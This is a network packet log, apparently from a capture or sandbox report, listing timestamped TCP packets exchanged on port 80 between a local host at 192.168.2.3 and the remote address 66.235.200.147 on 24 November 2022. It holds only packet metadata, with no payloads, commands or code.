Nov 24, 2022 16:57:33.448817015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448822021 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448833942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448851109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448852062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448868036 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448884010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448887110 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448900938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448916912 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448920012 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448932886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448949099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448951960 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.448965073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448982954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.448985100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449007034 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449023962 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449026108 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449039936 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449055910 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449059010 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449074030 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449085951 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449101925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449105978 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449117899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449135065 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449150085 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449150085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449162960 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449168921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449184895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449187994 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449202061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449218035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449233055 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449239016 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449249983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449260950 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449266911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449282885 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449299097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449300051 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449315071 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449333906 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449337959 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449353933 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449368954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449372053 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449387074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449402094 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449403048 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449419022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449434996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449435949 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449451923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449469090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449470043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449486017 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449495077 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449502945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449518919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449520111 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449536085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449552059 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449552059 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449568033 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449584007 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449584961 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449600935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449615955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449620962 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449631929 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449647903 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449655056 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449665070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449681044 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449681997 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449697971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449714899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449716091 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449732065 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449748039 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449750900 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449764967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449780941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449783087 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449799061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449815035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449816942 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449831963 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449847937 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449848890 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449865103 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449882030 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449882030 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449898005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449913979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449915886 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449929953 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449945927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449948072 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449961901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449975967 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.449979067 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.449995995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450011969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450027943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450043917 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450059891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450077057 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450093985 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450097084 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450110912 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450119972 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450126886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450144053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450148106 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450160980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450179100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450184107 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450203896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450220108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450221062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450237036 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450253963 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450254917 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450270891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450287104 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450297117 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450304985 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450320959 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450324059 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450339079 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450355053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450356007 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450371981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450388908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450391054 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450406075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450423002 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450440884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450458050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450474024 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450474977 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450489998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450505018 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450510025 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450520992 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450536013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450540066 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450551987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450567961 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450572014 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450583935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450618029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450620890 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450634956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450653076 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450654030 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450670004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450686932 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450687885 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450704098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450721025 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450721025 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450738907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450757027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450757980 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450774908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450792074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450794935 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450809956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450825930 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450826883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450845003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450861931 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450866938 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450887918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450907946 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450911045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450922012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450939894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450948954 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450958014 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450974941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.450989962 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.450993061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451010942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451014042 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451028109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451044083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451046944 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451061010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451077938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451080084 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451096058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451112032 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451112986 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451129913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451147079 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451147079 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451163054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451179981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451180935 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451198101 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451215029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451215982 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451231956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451250076 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451250076 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451267958 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451286077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451302052 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451303005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451313019 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451319933 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451337099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451342106 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451354980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451370955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451373100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451389074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451405048 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451407909 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451422930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451438904 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451440096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451457977 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451472998 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451482058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451503038 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451519012 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451519966 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451538086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451555967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451572895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451590061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451607943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451626062 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451652050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451668978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451685905 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451704025 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451720953 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451723099 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451723099 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451739073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451752901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451755047 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451764107 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451772928 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451790094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451792955 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451807976 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451824903 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451824903 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451842070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451859951 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451862097 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451877117 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451894999 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451899052 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451911926 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451929092 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451930046 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451945066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451961994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451963902 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.451978922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451996088 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.451997042 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452013016 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452029943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452033997 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452047110 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452064037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452068090 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452080965 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452097893 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452102900 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452116013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452131987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452136993 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452150106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452167034 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452171087 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452183962 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452200890 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452205896 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452218056 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452234030 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452239037 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452250957 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452267885 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452274084 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452286005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452301979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452305079 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452320099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452337027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452337980 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452373028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452389956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452392101 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452408075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452425003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452426910 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452442884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452460051 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452461958 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452476978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452495098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452497959 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452512026 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452529907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452531099 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452547073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452564001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452569008 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452581882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452599049 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452601910 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452616930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452635050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452636003 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452651978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452670097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452672005 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452687025 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452703953 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452704906 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452722073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452739954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452743053 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452758074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452775955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452776909 CET	49712	80	192.168.2.3	66.235.200.147
